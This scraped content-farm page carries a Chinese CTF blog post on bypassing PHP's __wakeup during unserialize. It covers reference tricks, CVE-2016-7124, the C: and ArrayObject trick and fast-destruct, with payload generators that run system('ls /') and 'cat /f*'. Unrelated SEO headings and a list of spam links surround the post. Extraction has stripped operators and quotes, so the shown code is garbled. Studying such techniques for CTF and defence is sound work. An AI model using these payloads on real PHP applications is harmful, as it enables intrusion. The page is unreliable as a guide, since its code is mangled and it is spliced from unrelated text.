当前位置: 首页 > news >正文

怎么做国际购物网站做网站能用本地的数据库嘛

怎么做国际购物网站,做网站能用本地的数据库嘛,温州网站建设公司哪个好,手机上做ppt的软件文章目录 前言绕过方法变量引用属性个数不匹配(cve-2016-7124)C绕过fast-destruct其余GC回收机制 前言 反序列化中_wakeup扮演着非常重要的角色#xff0c;ctf碰到很多的题目都有涉及到_wakeup绕过#xff0c;写下这篇博客来总结下大部分绕过方法#xff0c;其中会有例题具… 文章目录 前言绕过方法变量引用属性个数不匹配(cve-2016-7124)C绕过fast-destruct其余GC回收机制 前言 反序列化中_wakeup扮演着非常重要的角色ctf碰到很多的题目都有涉及到_wakeup绕过写下这篇博客来总结下大部分绕过方法其中会有例题具体演示。 绕过方法 变量引用 两个变量同时指向同一个内存地址 例题[UUCTF 2022 新生赛]ez_unser 源代码 ?php show_source(__FILE__);###very___so___easy!!!! class test{public $a;public $b;public $c;public function __construct(){$this-a1;$this-b2;$this-c3;}public function __wakeup(){$this-a;}public function __destruct(){$this-b$this-c;eval($this-a);} } $a$_GET[a]; if(!preg_match(/test:3/i,$a)){die(你输入的不正确搞什么); } $bbbunserialize($_GET[a]);分析一下有eval函数可以命令执行但是__wakeup()会让a的值为空。 同时正则匹配不让我们修改属性个数绕过__wakeup()这就是个难题 可利用点为$this-b$this-c;所以我们可以引用赋值绕过__wakeup() payload ?php class test{public $a;public $b;public $c; } $tnew test(); $t-csystem(ls /);; $t-b$t-a; echo serialize($t); ?注$t-b$t-a;意味着它们引用相同的内存地址它们指向相同的值 属性个数不匹配(cve-2016-7124) 影响范围 PHP5 5.6.25 PHP7 7.0.10 正常来说在反序列化过程中会先调用wakeup()方法再进行unserilize()但如果序列化字符串中表示对象属性个数的值大于真实的属性个数时wakeup()的执行会被跳过。 例题攻防世界 unserialize3 源代码 class xctf{ public $flag 111; public function __wakeup(){ exit(bad requests); } ?code分析一下如果我们反序列化的话就会调用__wakeup() 然后就触发exit(bad requests);我们只需要属性个数加一即可绕过 payload ?php class xctf{public $flag 111;public function __wakeup(){exit(bad requests);} } $anew xctf(); echo serialize($a); //O:4:xctf:1:{s:4:flag;s:3:111;} 修改成下面 //O:4:xctf:2:{s:4:flag;s:3:111;} ?C绕过 O标识符代表对象类型而C标识符代表类名类型。如果将O替换为C则在反序列化时会将其解释为一个新的类名字符串从而创建一个新的类而不是对象。因为这个新的类没有被序列化过所以它没有任何属性或方法。这样一来在反序列化时__wakeup魔术方法就不会被自动调用。 常规绕过 O:4:“User”:2:{s:3:“age”;i:20;s:4:“name”;s:4:“daye”;} 变成下面 C:4:“User”:2:{}C进阶绕过 例题愚人杯3rd [easy_php] ?php error_reporting(0); highlight_file(__FILE__);class ctfshow{public function __wakeup(){die(not allowed!);}public function __destruct(){system($this-ctfshow);} } $data $_GET[112];if(!preg_match(/^[Oa]:[\d]/i, $data)){unserialize($data); } ?分析一下核心是绕过_wakeup ?php class ctfshow{public function __wakeup(){die(not allowed!);}public function __destruct(){system($this-ctfshow);}} $anew ctfshow(); echo serialize($a); //O:7:ctfshow:0:{}我们直接改成C试试发现根本没有命令执行的步骤 payload ?phpclass ctfshow{public $ctfshowcat /f*; } $a new ArrayObject; $a - a new ctfshow; echo serialize($a); ?然后再编码一下就可以得到flag fast-destruct 本质上就是利用GC回收机制。 方法有两种删除末尾的花括号、数组对象占用指针改数字 //正常payload a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:1;s:4:“1234”;} //删除末尾花括号payload a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:1;s:4:“1234”; //数组对象占用指针payload加粗部分数组下标和前面重复都是0导致指针出问题 a:2:{i:0;O:1:“a”:1:{s:1:“a”;s:3:“123”;}i:0;s:4:“1234”;}其余GC回收机制 属性值的长度不匹配 具体形式 //正常payload O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“1”;} //外部类属性值长度异常payload //先外类__destruct()后内类__wakeup() O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:2:“1”;} O:1:“A”:2:{s:4:“info”;O:1:“B”:1:{s:3:“end”;N;}s:4:“Aend”;s:1:“12”;}
http://www.zqtcl.cn/news/48505/

相关文章:

  • 外贸自助建站哪个好网站建设与实践模板
  • 凡网站创建高校网站建设说明书
  • 网站建设都用什么软件全包网站
  • 大气网络公司网站模板做网站找毛叶子歌
  • 石柱县建设局网站珠海网站建设方案维护
  • 画流程图的网站外贸产品开发网站
  • 电子商务安全问题 网站权限管理三亚住房和城乡建设厅网站
  • 浙江天奥建设集团网站开发一平方赔多少钱
  • 建设现金分期网站网站怎么做淘宝客
  • title 镇江网站建设网站建设对公司有什么好处
  • 公众号怎么做微网站吗行业网站推广
  • 海口网站建设美丽网站商场模板
  • 网站制作 手机版wordpress 用户列表
  • wordpress不适合做大站做游戏网站用什么软件
  • 南昌的网站设计在线做动图的网站
  • 制作电子商务网站成都网页设计培训机构
  • html5 的网站仪征建设局招投标网站
  • 网站英文转换中文版莆田哪里有做网站的
  • 哪家企业网站建设好手机浏览器网址导航
  • 用illustrator做网站做淘宝是不是要两根网站
  • it外包公司什么意思佛山债优化
  • 深圳公司网站建设公司动画设计师招聘
  • 用手机能创建网站吗江苏建设银行网站
  • 网站搭建十大品牌公司免费的舆情网站
  • 网站推广工具网络东莞网站开发公司
  • 实惠的网站建设公司网站开发设计的步骤
  • 综合网站开发山东专业的网站建设
  • 如何给公司做自己的网站网站上内容列表怎么做
  • 巴中市建设厅官方网站网站不收录原因
  • 重庆网站开发公司推广方式是什么意思